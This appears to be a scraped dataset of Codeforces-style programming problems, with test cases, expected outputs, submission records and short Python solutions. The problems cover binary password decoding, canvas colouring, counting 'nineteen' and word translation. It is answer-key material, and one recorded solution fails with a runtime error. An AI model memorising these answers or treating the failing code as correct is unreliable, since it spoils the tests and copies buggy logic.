"01101100111000000101011011001110000001011111111000111111100001011010001001011001\n1000000101\n0101101000\n0101110101\n1101011110\n0000101100\n1111111000\n0001001101\n0110111011\n0110110011\n1001011001", "output": "80805519" }, { "input": "11100011000100010110010011101010101010011110001100011010111110011000011010110111\n1110001100\n0110101111\n0100111010\n0101000000\n1001100001\n1010101001\n0000100010\n1010110111\n1100011100\n0100010110", "output": "09250147" }, { "input": "10000110110000010100000010001000111101110110101011110111000100001101000000100010\n0000010100\n0000110001\n0110101011\n1101110001\n1000011011\n0000110100\n0011110111\n1000110010\n0000100010\n0000011011", "output": "40862358" }, { "input": "01000000010000000110100101000110110000100100000001101100001000011111111001010001\n1011000010\n1111101010\n0111110011\n0000000110\n0000001001\n0001111111\n0110010010\n0100000001\n1011001000\n1001010001", "output": "73907059" }, { "input": "01111000111110011001110101110011110000111110010001101100110110100111101011001101\n1110010001\n1001100000\n1100001000\n1010011110\n1011001101\n0111100011\n1101011100\n1110011001\n1111000011\n0010000101", "output": "57680434" }, { "input": "01001100101000100010001011110001000101001001100010010000001001001100101001011111\n1001011111\n1110010111\n0111101011\n1000100010\n0011100101\n0100000010\n0010111100\n0100010100\n1001100010\n0100110010", "output": "93678590" }, { "input": "01110111110000111011101010110110101011010100110111000011101101110101011101001000\n0110000101\n1010101101\n1101010111\n1101011100\n0100110111\n0111011111\n1100011001\n0111010101\n0000111011\n1101001000", "output": "58114879" }, { "input": "11101001111100110101110011010100110011011110100111010110110011000111000011001101\n1100011100\n1100110101\n1011101000\n0011011110\n0011001101\n0100010001\n1110100111\n1010101100\n1110110100\n0101101100", "output": "61146904" }, { "input": "10101010001011010001001001011000100101100001011011101010101110101010001010101000\n0010110101\n1010011010\n1010101000\n1011010001\n1010101011\n0010010110\n0110100010\n1010100101\n0001011011\n0110100001", "output": "23558422" }, { "input": "11110101001100010000110100001110101011011111010100110001000001001010001001101111\n0101101100\n1001101111\n1010101101\n0100101000\n1111110000\n0101010010\n1100010000\n1111010100\n1101000011\n1011111111", "output": "76827631" }, { "input": "10001100110000110111100011001101111110110011110101000011011100001101110000110111\n0011110101\n0101100011\n1000110011\n1011011001\n0111111011\n0101111011\n0000110111\n0100001110\n1000000111\n0110110111", "output": "26240666" }, { "input": "10000100010000111101100100111101111011101000001001100001000110000010010000111101\n1001001111\n0000111101\n1000010001\n0110011101\n0110101000\n1011111001\n0111101110\n1000001001\n1101011111\n0001010100", "output": "21067271" }, { "input": "01101111000110111100011011110001101111001010001100101000110001010101100100000010\n1010001100\n0011010011\n0101010110\n1111001100\n1100011000\n0100101100\n1001100101\n0110111100\n0011001101\n0100000010", "output": "77770029" }, { "input": "10100111011010001011111000000111100000010101000011000010111101010000111010011101\n1010011101\n1010111111\n0110100110\n1111000100\n1110000001\n0000101111\n0011111000\n1000110001\n0101000011\n1010001011", "output": "09448580" }, { "input": "10000111111000011111001010101010010011111001001111000010010100100011000010001100\n1101101110\n1001001111\n0000100101\n1100111010\n0010101010\n1110000110\n1100111101\n0010001100\n1110000001\n1000011111", "output": "99411277" }, { "input": "10110110111011001111101100111100111111011011011011001111110110010011100010000111\n0111010011\n0111101100\n1001101010\n0101000101\n0010000111\n0011111101\n1011001111\n1101111000\n1011011011\n1001001110", "output": "86658594" }, { "input": "01001001100101100011110110111100000110001111001000100000110111110010000000011000\n0100100110\n1000001011\n1000111110\n0000011000\n0101100011\n1101101111\n1111001000\n1011011001\n1000001101\n0010101000", "output": "04536863" }, { "input": "10010100011101000011100100001100101111000010111100000010010000001001001101011101\n1001000011\n1101000011\n1001010001\n1101011101\n1000010110\n0011111101\n0010111100\n0000100100\n1010001000\n0101000110", "output": "21066773" }, { "input": "01111111110101111111011111111111010010000001100000101000100100111001011010001001\n0111111111\n0101111111\n0100101101\n0001100000\n0011000101\n0011100101\n1101001000\n0010111110\n1010001001\n1111000111", "output": "01063858" }, { "input": "00100011111001001010001111000011101000001110100000000100101011101000001001001010\n0010001111\n1001001010\n1010011001\n0011100111\n1000111000\n0011110000\n0000100010\n0001001010\n1111110111\n1110100000", "output": "01599791" }, { "input": "11011101000100110100110011010101100011111010011010010011010010010010100110101111\n0100110100\n1001001010\n0001111101\n1101011010\n1101110100\n1100110101\n0110101111\n0110001111\n0001101000\n1010011010", "output": "40579016" }, { "input": "10000010111101110110011000111110000011100110001111100100000111000011011000001011\n0111010100\n1010110110\n1000001110\n1110000100\n0110001111\n1101110110\n1100001101\n1000001011\n0000000101\n1001000001", "output": "75424967" }, { "input": "11101100101110111110111011111010001111111111000001001001000010001111111110110010\n0101100001\n1111010011\n1110111110\n0100110100\n1110011111\n1000111111\n0010010000\n1110110010\n0011000010\n1111000001", "output": "72259657" }, { "input": "01011110100101111010011000001001100000101001110011010111101011010000110110010101\n0100111100\n0101110011\n0101111010\n0110000010\n0101001111\n1101000011\n0110010101\n0111011010\n0001101110\n1001110011", "output": "22339256" }, { "input": "01100000100101111000100001100010000110000010100100100001100000110011101001110000\n0101111000\n1001110000\n0001000101\n0110110111\n0010100100\n1000011000\n1101110110\n0110000010\n0001011010\n0011001110", "output": "70554591" }, { "input": "11110011011000001001111100110101001000010100100000110011001110011111100100100001\n1010011000\n1111001101\n0100100001\n1111010011\n0100100000\n1001111110\n1010100111\n1000100111\n1000001001\n1100110011", "output": "18124952" }, { "input": "10001001011000100101010110011101011001110010000001010110000101000100101111101010\n0101100001\n1100001100\n1111101010\n1000100101\n0010000001\n0100010010\n0010110110\n0101100111\n0000001110\n1101001110", "output": "33774052" }, { "input": "00110010000111001001001100100010010111101011011110001011111100000101000100000001\n0100000001\n1011011110\n0010111111\n0111100111\n0100111001\n0000010100\n1001011110\n0111001001\n0100010011\n0011001000", "output": "97961250" }, { "input": "01101100001000110101101100101111101110010011010111100011010100010001101000110101\n1001101001\n1000110101\n0110110000\n0111100100\n0011010111\n1110111001\n0001000110\n0000000100\n0001101001\n1011001011", "output": "21954161" }, { "input": "10101110000011010110101011100000101101000110100000101101101101110101000011110010\n0110100000\n1011011011\n0011110010\n0001110110\n0010110100\n1100010010\n0001101011\n1010111000\n0011010110\n0111010100", "output": "78740192" }, { "input": "11000101011100100111010000010001000001001100101100000011000000001100000101011010\n1100010101\n1111101011\n0101011010\n0100000100\n1000110111\n1100100111\n1100101100\n0111001000\n0000110000\n0110011111", "output": "05336882" }, { "input": "11110100010000101110010110001000001011100101100010110011011011111110001100110110\n0101100010\n0100010001\n0000101110\n1100110110\n0101000101\n0011001011\n1111010001\n1000110010\n1111111000\n1010011111", "output": "62020383" }, { "input": "00011001111110000011101011010001010111100110100101000110011111011001100000001100\n0111001101\n0101011110\n0001100111\n1101011111\n1110000011\n0000001100\n0111010001\n1101100110\n1010110100\n0110100101", "output": "24819275" }, { "input": "10111110010011111001001111100101010111010011111001001110101000111110011001111101\n0011111001\n0101011101\n0100001010\n0001110010\n1001111101\n0011101010\n1111001001\n1100100001\n1001101000\n1011111001", "output": "90010504" }, { "input": "01111101111100101010001001011110111001110111110111011111011110110111111011011111\n1111110111\n0010000101\n0110000100\n0111111011\n1011100111\n1100101010\n1011011111\n1100010001\n0111110111\n0010010111", "output": "85948866" }, { "input": "01111100000111110000110010111001111100001001101010110010111010001000101001101010\n0100010101\n1011110101\n1010100100\n1010000001\n1001101010\n0101100110\n1000100010\n0111110000\n1100101110\n0110010110", "output": "77874864" }, { "input": "11100011010000000010011110010111001011111001000111000000001000000000100111100101\n0000000010\n1110001101\n0011010101\n0111100101\n1001000111\n1101001111\n0111010110\n1100101111\n0110000000\n1101101011", "output": "10374003" }, { "input": "01111011100111101110011001000110001111101000111110100100100001011111001011100010\n0110010100\n1100010001\n0111101110\n1001001000\n1010011011\n1000111110\n0010110101\n1011100010\n0101111100\n0110010001", "output": "22955387" }, { "input": "11011010001100000011000100110011010101000110011110110000001100111100001000011111\n0000100010\n1000011111\n1101101000\n0110011110\n0011110000\n1100000011\n0010001100\n0101101000\n0001001100\n1101010100", "output": "25893541" }, { "input": "01011001011111010010101111011001000011001100011101101111011011010011101011110110\n0100001100\n0101100101\n1111111011\n1111010010\n1111101100\n1100011101\n1011000011\n1101001110\n1011110110\n0110001010", "output": "13805878" }, { "input": "11110011011000111111001100111110001111111100000010111100110100110011111111001101\n1111001101\n1001101010\n1100110010\n0011001111\n0001011110\n1000110011\n1000111111\n0110001010\n1001011101\n1100000010", "output": "06369030" }, { "input": "01110011110010000011011001011000001000010110010110011001100001100110001100101000\n0000100001\n0110011000\n1010000010\n1110011101\n0111001111\n1100101000\n0010000011\n0110010000\n1100100101\n0110010110", "output": "46909115" }, { "input": "00001011001111110111111111011111111101110101110100010111010010100101100001010110\n1111110111\n0001010110\n0111011011\n0111000001\n1010010110\n0101110100\n0001000101\n0000111000\n0110100001\n0000101100", "output": "90005541" } ]
1,639,258,722
2,147,483,647
PyPy 3
OK
TESTS
50
186
0
s=input() g={} for i in range(10):g[input()]=i for i in range(0,80,10):print(g[s[i:i+10]],end='')
Title: Restoring Password Time Limit: 2 seconds Memory Limit: 256 megabytes Problem Description: Igor K. always used to trust his favorite Kashpirovsky Antivirus. That is why he didn't hesitate to download the link one of his groupmates sent him via QIP Infinium. The link was said to contain "some real funny stuff about swine influenza". The antivirus had no objections and Igor K. run the flash application he had downloaded. Immediately his QIP Infinium said: "invalid login/password". Igor K. entered the ISQ from his additional account and looked at the info of his main one. His name and surname changed to "H1N1" and "Infected" correspondingly, and the "Additional Information" field contained a strange-looking binary code 80 characters in length, consisting of zeroes and ones. "I've been hacked" — thought Igor K. and run the Internet Exploiter browser to quickly type his favourite search engine's address. Soon he learned that it really was a virus that changed ISQ users' passwords. Fortunately, he soon found out that the binary code was actually the encrypted password where each group of 10 characters stood for one decimal digit. Accordingly, the original password consisted of 8 decimal digits. Help Igor K. restore his ISQ account by the encrypted password and encryption specification. Input Specification: The input data contains 11 lines. The first line represents the binary code 80 characters in length. That is the code written in Igor K.'s ISQ account's info. Next 10 lines contain pairwise distinct binary codes 10 characters in length, corresponding to numbers 0, 1, ..., 9. Output Specification: Print one line containing 8 characters — The password to Igor K.'s ISQ account. It is guaranteed that the solution exists. Demo Input: ['01001100100101100000010110001001011001000101100110010110100001011010100101101100\n0100110000\n0100110010\n0101100000\n0101100010\n0101100100\n0101100110\n0101101000\n0101101010\n0101101100\n0101101110\n', '10101101111001000010100100011010101101110010110111011000100011011110010110001000\n1001000010\n1101111001\n1001000110\n1010110111\n0010110111\n1101001101\n1011000001\n1110010101\n1011011000\n0110001000\n'] Demo Output: ['12345678\n', '30234919\n'] Note: none
```python s=input() g={} for i in range(10):g[input()]=i for i in range(0,80,10):print(g[s[i:i+10]],end='') ```
3.9535
957
A
Tritonic Iridescence
PROGRAMMING
1,300
[ "implementation" ]
null
null
Overlooking the captivating blend of myriads of vernal hues, Arkady the painter lays out a long, long canvas. Arkady has a sufficiently large amount of paint of three colours: cyan, magenta, and yellow. On the one-dimensional canvas split into *n* consecutive segments, each segment needs to be painted in one of the colours. Arkady has already painted some (possibly none or all) segments and passes the paintbrush to you. You are to determine whether there are at least two ways of colouring all the unpainted segments so that no two adjacent segments are of the same colour. Two ways are considered different if and only if a segment is painted in different colours in them.
The first line contains a single positive integer *n* (1<=≤<=*n*<=≤<=100) — the length of the canvas. The second line contains a string *s* of *n* characters, the *i*-th of which is either 'C' (denoting a segment painted in cyan), 'M' (denoting one painted in magenta), 'Y' (one painted in yellow), or '?' (an unpainted one).
If there are at least two different ways of painting, output "Yes"; otherwise output "No" (both without quotes). You can print each character in any case (upper or lower).
[ "5\nCY??Y\n", "5\nC?C?Y\n", "5\n?CYC?\n", "5\nC??MM\n", "3\nMMY\n" ]
[ "Yes\n", "Yes\n", "Yes\n", "No\n", "No\n" ]
For the first example, there are exactly two different ways of colouring: CYCMY and CYMCY. For the second example, there are also exactly two different ways of colouring: CMCMY and CYCMY. For the third example, there are four ways of colouring: MCYCM, MCYCY, YCYCM, and YCYCY. For the fourth example, no matter how the unpainted segments are coloured, the existing magenta segments will prevent the painting from satisfying the requirements. The similar is true for the fifth example.
500
[ { "input": "5\nCY??Y", "output": "Yes" }, { "input": "5\nC?C?Y", "output": "Yes" }, { "input": "5\n?CYC?", "output": "Yes" }, { "input": "5\nC??MM", "output": "No" }, { "input": "3\nMMY", "output": "No" }, { "input": "15\n??YYYYYY??YYYY?", "output": "No" }, { "input": "100\nYCY?CMCMCYMYMYC?YMYMYMY?CMC?MCMYCMYMYCM?CMCM?CMYMYCYCMCMCMCMCMYM?CYCYCMCM?CY?MYCYCMYM?CYCYCYMY?CYCYC", "output": "No" }, { "input": "1\nC", "output": "No" }, { "input": "1\n?", "output": "Yes" }, { "input": "2\nMY", "output": "No" }, { "input": "2\n?M", "output": "Yes" }, { "input": "2\nY?", "output": "Yes" }, { "input": "2\n??", "output": "Yes" }, { "input": "3\n??C", "output": "Yes" }, { "input": "3\nM??", "output": "Yes" }, { "input": "3\nYCM", "output": "No" }, { "input": "3\n?C?", "output": "Yes" }, { "input": "3\nMC?", "output": "Yes" }, { "input": "4\nCYCM", "output": "No" }, { "input": "4\nM?CM", "output": "No" }, { "input": "4\n??YM", "output": "Yes" }, { "input": "4\nC???", "output": "Yes" }, { "input": "10\nMCYM?MYM?C", "output": "Yes" }, { "input": "50\nCMCMCYM?MY?C?MC??YM?CY?YM??M?MCMCYCYMCYCMCM?MCM?MC", "output": "Yes" }, { "input": "97\nMCM?YCMYM?YMY?MY?MYCY?CMCMCYC?YMY?MYCMC?M?YCMC?YM?C?MCMCMYMCMY?MCM?YC?YMYMY?MYCYCM?YC?YCY?MYMYMYC", "output": "No" }, { "input": "100\nC?M?M?M?YM??YMYC?MCYMYM??Y??YC?CYC???YM?YM??MYMY?CYCYMYC?YC?C?CYCMY??CMC?YMCMYCYCYMYM?CYM?M?MCMCMY?Y", "output": "Yes" }, { "input": "100\n?YYYYYYYYYYYYYYYYYYYYYYYYYYYYY??YYY?YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY?", "output": "No" }, { "input": "100\n????????????????????????????????????????????????????????????????????????????????????????????????????", "output": "Yes" }, { "input": "100\nY?CYMYMYMYCYMY?CMCYMYMC?MYCY?CMCYCYMCM?YCMCYMYCYCY?MYMYCYCYCM?CYMYMY?CY?MYCYCY?M?YMYCY?CMCMCY?CY?M?C", "output": "No" }, { "input": "4\nM??C", "output": "Yes" }, { "input": "6\nY?C??C", "output": "Yes" }, { "input": "5\nC???Y", "output": "Yes" }, { "input": "5\nC??MY", "output": "Yes" }, { "input": "5\nCY??M", "output": "Yes" }, { "input": "4\nC??Y", "output": "Yes" }, { "input": "52\n??????????????????????????????????????????????????YY", "output": "No" }, { "input": "3\nYY?", "output": "No" }, { "input": "5\nCC??Y", "output": "No" }, { "input": "8\nCMC??MCM", "output": "Yes" }, { "input": "7\nM?YCM??", "output": "Yes" }, { "input": "6\n?CC???", "output": "No" }, { "input": "100\n??????????????????????????????????????????????????????????????????????????????????????????????????MM", "output": "No" }, { "input": "4\nC??M", "output": "Yes" }, { "input": "4\n?C?M", "output": "Yes" }, { "input": "6\nMC??MC", "output": "Yes" } ]
1,521,906,248
548
Python 3
OK
TESTS
45
93
7,065,600
while True: n=int(input()) s=input() for i in range(0, n-1): if s[i]==s[i+1] and s[i]!='?': print('No') break else: if '??' in s or 'Y?Y' in s or 'C?C' in s or 'M?M' in s or s[0]=='?' or s[-1]=='?': print('Yes') else: print('No') break
Title: Tritonic Iridescence Time Limit: None seconds Memory Limit: None megabytes Problem Description: Overlooking the captivating blend of myriads of vernal hues, Arkady the painter lays out a long, long canvas. Arkady has a sufficiently large amount of paint of three colours: cyan, magenta, and yellow. On the one-dimensional canvas split into *n* consecutive segments, each segment needs to be painted in one of the colours. Arkady has already painted some (possibly none or all) segments and passes the paintbrush to you. You are to determine whether there are at least two ways of colouring all the unpainted segments so that no two adjacent segments are of the same colour. Two ways are considered different if and only if a segment is painted in different colours in them. Input Specification: The first line contains a single positive integer *n* (1<=≤<=*n*<=≤<=100) — the length of the canvas. The second line contains a string *s* of *n* characters, the *i*-th of which is either 'C' (denoting a segment painted in cyan), 'M' (denoting one painted in magenta), 'Y' (one painted in yellow), or '?' (an unpainted one). Output Specification: If there are at least two different ways of painting, output "Yes"; otherwise output "No" (both without quotes). You can print each character in any case (upper or lower). Demo Input: ['5\nCY??Y\n', '5\nC?C?Y\n', '5\n?CYC?\n', '5\nC??MM\n', '3\nMMY\n'] Demo Output: ['Yes\n', 'Yes\n', 'Yes\n', 'No\n', 'No\n'] Note: For the first example, there are exactly two different ways of colouring: CYCMY and CYMCY. For the second example, there are also exactly two different ways of colouring: CMCMY and CYCMY. For the third example, there are four ways of colouring: MCYCM, MCYCY, YCYCM, and YCYCY. For the fourth example, no matter how the unpainted segments are coloured, the existing magenta segments will prevent the painting from satisfying the requirements. The similar is true for the fifth example.
```python while True: n=int(input()) s=input() for i in range(0, n-1): if s[i]==s[i+1] and s[i]!='?': print('No') break else: if '??' in s or 'Y?Y' in s or 'C?C' in s or 'M?M' in s or s[0]=='?' or s[-1]=='?': print('Yes') else: print('No') break ```
3
393
A
Nineteen
PROGRAMMING
0
[]
null
null
Alice likes word "nineteen" very much. She has a string *s* and wants the string to contain as many such words as possible. For that reason she can rearrange the letters of the string. For example, if she has string "xiineteenppnnnewtnee", she can get string "xnineteenppnineteenw", containing (the occurrences marked) two such words. More formally, word "nineteen" occurs in the string the number of times you can read it starting from some letter of the string. Of course, you shouldn't skip letters. Help her to find the maximum number of "nineteen"s that she can get in her string.
The first line contains a non-empty string *s*, consisting only of lowercase English letters. The length of string *s* doesn't exceed 100.
Print a single integer — the maximum number of "nineteen"s that she can get in her string.
[ "nniinneetteeeenn\n", "nneteenabcnneteenabcnneteenabcnneteenabcnneteenabcii\n", "nineteenineteen\n" ]
[ "2", "2", "2" ]
none
500
[ { "input": "nniinneetteeeenn", "output": "2" }, { "input": "nneteenabcnneteenabcnneteenabcnneteenabcnneteenabcii", "output": "2" }, { "input": "nineteenineteen", "output": "2" }, { "input": "nssemsnnsitjtihtthij", "output": "0" }, { "input": "eehihnttehtherjsihihnrhimihrjinjiehmtjimnrss", "output": "1" }, { "input": "rrrteiehtesisntnjirtitijnjjjthrsmhtneirjimniemmnrhirssjnhetmnmjejjnjjritjttnnrhnjs", "output": "2" }, { "input": "mmrehtretseihsrjmtsenemniehssnisijmsnntesismmtmthnsieijjjnsnhisi", "output": "2" }, { "input": "hshretttnntmmiertrrnjihnrmshnthirnnirrheinnnrjiirshthsrsijtrrtrmnjrrjnresnintnmtrhsnjrinsseimn", "output": "1" }, { "input": "snmmensntritetnmmmerhhrmhnehehtesmhthseemjhmnrti", "output": "2" }, { "input": "rmeetriiitijmrenmeiijt", "output": "0" }, { "input": "ihimeitimrmhriemsjhrtjtijtesmhemnmmrsetmjttthtjhnnmirtimne", "output": "1" }, { "input": "rhtsnmnesieernhstjnmmirthhieejsjttsiierhihhrrijhrrnejsjer", "output": "2" }, { "input": "emmtjsjhretehmiiiestmtmnmissjrstnsnjmhimjmststsitemtttjrnhsrmsenjtjim", "output": "2" }, { "input": "nmehhjrhirniitshjtrrtitsjsntjhrstjehhhrrerhemehjeermhmhjejjesnhsiirheijjrnrjmminneeehtm", "output": "3" }, { "input": "hsntijjetmehejtsitnthietssmeenjrhhetsnjrsethisjrtrhrierjtmimeenjnhnijeesjttrmn", "output": "3" }, { "input": "jnirirhmirmhisemittnnsmsttesjhmjnsjsmntisheneiinsrjsjirnrmnjmjhmistntersimrjni", "output": "1" }, { "input": "neithjhhhtmejjnmieishethmtetthrienrhjmjenrmtejerernmthmsnrthhtrimmtmshm", "output": "2" }, { "input": "sithnrsnemhijsnjitmijjhejjrinejhjinhtisttteermrjjrtsirmessejireihjnnhhemiirmhhjeet", "output": "3" }, { "input": "jrjshtjstteh", "output": "0" }, { "input": "jsihrimrjnnmhttmrtrenetimemjnshnimeiitmnmjishjjneisesrjemeshjsijithtn", "output": "2" }, { "input": "hhtjnnmsemermhhtsstejehsssmnesereehnnsnnremjmmieethmirjjhn", "output": "2" }, { "input": "tmnersmrtsehhntsietttrehrhneiireijnijjejmjhei", "output": "1" }, { "input": "mtstiresrtmesritnjriirehtermtrtseirtjrhsejhhmnsineinsjsin", "output": "2" }, { "input": "ssitrhtmmhtnmtreijteinimjemsiiirhrttinsnneshintjnin", "output": "1" }, { "input": "rnsrsmretjiitrjthhritniijhjmm", "output": "0" }, { "input": "hntrteieimrimteemenserntrejhhmijmtjjhnsrsrmrnsjseihnjmehtthnnithirnhj", "output": "3" }, { "input": "nmmtsmjrntrhhtmimeresnrinstjnhiinjtnjjjnthsintmtrhijnrnmtjihtinmni", "output": "0" }, { "input": "eihstiirnmteejeehimttrijittjsntjejmessstsemmtristjrhenithrrsssihnthheehhrnmimssjmejjreimjiemrmiis", "output": "2" }, { "input": "srthnimimnemtnmhsjmmmjmmrsrisehjseinemienntetmitjtnnneseimhnrmiinsismhinjjnreehseh", "output": "3" }, { "input": "etrsmrjehntjjimjnmsresjnrthjhehhtreiijjminnheeiinseenmmethiemmistsei", "output": "3" }, { "input": "msjeshtthsieshejsjhsnhejsihisijsertenrshhrthjhiirijjneinjrtrmrs", "output": "1" }, { "input": "mehsmstmeejrhhsjihntjmrjrihssmtnensttmirtieehimj", "output": "1" }, { "input": "mmmsermimjmrhrhejhrrejermsneheihhjemnehrhihesnjsehthjsmmjeiejmmnhinsemjrntrhrhsmjtttsrhjjmejj", "output": "2" }, { "input": "rhsmrmesijmmsnsmmhertnrhsetmisshriirhetmjihsmiinimtrnitrseii", "output": "1" }, { "input": "iihienhirmnihh", "output": "0" }, { "input": "ismtthhshjmhisssnmnhe", "output": "0" }, { "input": "rhsmnrmhejshinnjrtmtsssijimimethnm", "output": "0" }, { "input": "eehnshtiriejhiirntminrirnjihmrnittnmmnjejjhjtennremrnssnejtntrtsiejjijisermj", "output": "3" }, { "input": "rnhmeesnhttrjintnhnrhristjrthhrmehrhjmjhjehmstrijemjmmistes", "output": "2" }, { "input": "ssrmjmjeeetrnimemrhimes", "output": "0" }, { "input": "n", "output": "0" }, { "input": "ni", "output": "0" }, { "input": "nine", "output": "0" }, { "input": "nineteenineteenineteenineteenineteenineteenineteenineteenineteenineteenineteenineteenineteen", "output": "13" }, { "input": "ninetee", "output": "0" }, { "input": "mzbmweyydiadtlcouegmdbyfwurpwbpuvhifnuapwynd", "output": "0" }, { "input": "zenudggmyopddhszhrbmftgzmjorabhgojdtfnzxjkayjlkgczsyshczutkdch", "output": "0" }, { "input": "rtzxovxqfapkdmelxiyjroohufhbakpmmvaxq", "output": "0" }, { "input": "zninetneeineteeniwnteeennieteenineteenineteenineteenineteenineteenineteenineteenineteeninetzeenz", "output": "13" }, { "input": "nnnnnnniiiiiiiiiiiitttttttttteeeeeeeeeeeeeeeeee", "output": "3" }, { "input": "ttttiiiieeeeeeeeeeeennnnnnnnn", "output": "4" }, { "input": "ttttttttteeeeeeeeeeeeeeeeeeeeeiiiiiiiiiiiinnnnnnn", "output": "3" }, { "input": "nnnnnnnnnneeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeiiiiiiiiiiiiiiiiiiiitttttttttttttttttttt", "output": "4" }, { "input": "eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeiiiiiiiiiiiiiiiiittttttttttttttttnnnnnnn", "output": "3" }, { "input": "nineeen", "output": "0" }, { "input": "nineteeeeeeeeeeeeeeeeettttttttttttttttttiiiiiiiiiiiiiiiiii", "output": "0" }, { "input": "nineteenieteenieteenieteenieteenieteenieteen", "output": "4" }, { "input": "nineteenineteenineteenineteenineteen", "output": "5" } ]
1,569,124,879
2,147,483,647
Python 3
RUNTIME_ERROR
TESTS
18
124
0
import sys s = input().strip() inpDict = {} for c in s: inpDict[c] = inpDict.get(c,0) + 1 nn = "nineteen" nDict = {} for c in nn: nDict[c] = nDict.get(c,0) + 1 m = sys.maxsize for c in nDict.keys(): if(c != 'n'): m = min(m, inpDict[c]//nDict[c]) if((inpDict['n']-1)/2 >= m): print(m) else: print((inpDict['n']-1)//2)
Title: Nineteen Time Limit: None seconds Memory Limit: None megabytes Problem Description: Alice likes word "nineteen" very much. She has a string *s* and wants the string to contain as many such words as possible. For that reason she can rearrange the letters of the string. For example, if she has string "xiineteenppnnnewtnee", she can get string "xnineteenppnineteenw", containing (the occurrences marked) two such words. More formally, word "nineteen" occurs in the string the number of times you can read it starting from some letter of the string. Of course, you shouldn't skip letters. Help her to find the maximum number of "nineteen"s that she can get in her string. Input Specification: The first line contains a non-empty string *s*, consisting only of lowercase English letters. The length of string *s* doesn't exceed 100. Output Specification: Print a single integer — the maximum number of "nineteen"s that she can get in her string. Demo Input: ['nniinneetteeeenn\n', 'nneteenabcnneteenabcnneteenabcnneteenabcnneteenabcii\n', 'nineteenineteen\n'] Demo Output: ['2', '2', '2'] Note: none
```python import sys s = input().strip() inpDict = {} for c in s: inpDict[c] = inpDict.get(c,0) + 1 nn = "nineteen" nDict = {} for c in nn: nDict[c] = nDict.get(c,0) + 1 m = sys.maxsize for c in nDict.keys(): if(c != 'n'): m = min(m, inpDict[c]//nDict[c]) if((inpDict['n']-1)/2 >= m): print(m) else: print((inpDict['n']-1)//2) ```
-1
499
B
Lecture
PROGRAMMING
1,000
[ "implementation", "strings" ]
null
null
You have a new professor of graph theory and he speaks very quickly. You come up with the following plan to keep up with his lecture and make notes. You know two languages, and the professor is giving the lecture in the first one. The words in both languages consist of lowercase English characters, each language consists of several words. For each language, all words are distinct, i.e. they are spelled differently. Moreover, the words of these languages have a one-to-one correspondence, that is, for each word in each language, there exists exactly one word in the other language having has the same meaning. You can write down every word the professor says in either the first language or the second language. Of course, during the lecture you write down each word in the language in which the word is shorter. In case of equal lengths of the corresponding words you prefer the word of the first language. You are given the text of the lecture the professor is going to read. Find out how the lecture will be recorded in your notes.
The first line contains two integers, *n* and *m* (1<=≤<=*n*<=≤<=3000, 1<=≤<=*m*<=≤<=3000) — the number of words in the professor's lecture and the number of words in each of these languages. The following *m* lines contain the words. The *i*-th line contains two strings *a**i*, *b**i* meaning that the word *a**i* belongs to the first language, the word *b**i* belongs to the second language, and these two words have the same meaning. It is guaranteed that no word occurs in both languages, and each word occurs in its language exactly once. The next line contains *n* space-separated strings *c*1,<=*c*2,<=...,<=*c**n* — the text of the lecture. It is guaranteed that each of the strings *c**i* belongs to the set of strings {*a*1,<=*a*2,<=... *a**m*}. All the strings in the input are non-empty, each consisting of no more than 10 lowercase English letters.
Output exactly *n* words: how you will record the lecture in your notebook. Output the words of the lecture in the same order as in the input.
[ "4 3\ncodeforces codesecrof\ncontest round\nletter message\ncodeforces contest letter contest\n", "5 3\njoll wuqrd\neuzf un\nhbnyiyc rsoqqveh\nhbnyiyc joll joll euzf joll\n" ]
[ "codeforces round letter round\n", "hbnyiyc joll joll un joll\n" ]
none
500
[ { "input": "4 3\ncodeforces codesecrof\ncontest round\nletter message\ncodeforces contest letter contest", "output": "codeforces round letter round" }, { "input": "5 3\njoll wuqrd\neuzf un\nhbnyiyc rsoqqveh\nhbnyiyc joll joll euzf joll", "output": "hbnyiyc joll joll un joll" }, { "input": "5 5\nqueyqj f\nb vn\ntabzvk qpfzoqx\nytnyonoc hnxsd\njpggvr lchinjmt\nqueyqj jpggvr b ytnyonoc b", "output": "f jpggvr b hnxsd b" }, { "input": "10 22\nazbrll oen\ngh vdyayei\njphveblohx vfglv\nmfyxib jepnvhcuwo\nrpikazqj uam\nl rx\nokjenof qpnyi\nj tixqrno\nod itozmfct\nikkdxmirx ev\nqexftojc p\nkdazb zjs\nmbk ykvqjrxaxu\nhbcwhouzq pwt\nmirpsz zfaegpl\nuhkkvcj rlvwj\nef iqnnwtolrc\npjzfcpmeag ecdayth\nsa qcthz\ncbfhfxi qrnbvdryz\nwqel tj\natx smkbid\nef hbcwhouzq cbfhfxi hbcwhouzq mirpsz cbfhfxi cbfhfxi okjenof pjzfcpmeag kdazb", "output": "ef pwt cbfhfxi pwt mirpsz cbfhfxi cbfhfxi qpnyi ecdayth zjs" }, { "input": "1 1\namit am\namit", "output": "am" }, { "input": "1 1\na c\na", "output": "a" } ]
1,638,709,496
2,147,483,647
PyPy 3-64
OK
TESTS
37
187
3,174,400
n,m = map(int,input().split()) hash = {} for i in range(m): s1,s2 = input().split() hash[s1] = s2 hash[s2] = s1 a = list(map(str,input().split())) for i in range(len(a)): if len(a[i]) > len(hash[a[i]]): a[i] = hash[a[i]] print(" ".join(map(str,a)))
Title: Lecture Time Limit: None seconds Memory Limit: None megabytes Problem Description: You have a new professor of graph theory and he speaks very quickly. You come up with the following plan to keep up with his lecture and make notes. You know two languages, and the professor is giving the lecture in the first one. The words in both languages consist of lowercase English characters, each language consists of several words. For each language, all words are distinct, i.e. they are spelled differently. Moreover, the words of these languages have a one-to-one correspondence, that is, for each word in each language, there exists exactly one word in the other language having has the same meaning. You can write down every word the professor says in either the first language or the second language. Of course, during the lecture you write down each word in the language in which the word is shorter. In case of equal lengths of the corresponding words you prefer the word of the first language. You are given the text of the lecture the professor is going to read. Find out how the lecture will be recorded in your notes. Input Specification: The first line contains two integers, *n* and *m* (1<=≤<=*n*<=≤<=3000, 1<=≤<=*m*<=≤<=3000) — the number of words in the professor's lecture and the number of words in each of these languages. The following *m* lines contain the words. The *i*-th line contains two strings *a**i*, *b**i* meaning that the word *a**i* belongs to the first language, the word *b**i* belongs to the second language, and these two words have the same meaning. It is guaranteed that no word occurs in both languages, and each word occurs in its language exactly once. The next line contains *n* space-separated strings *c*1,<=*c*2,<=...,<=*c**n* — the text of the lecture. It is guaranteed that each of the 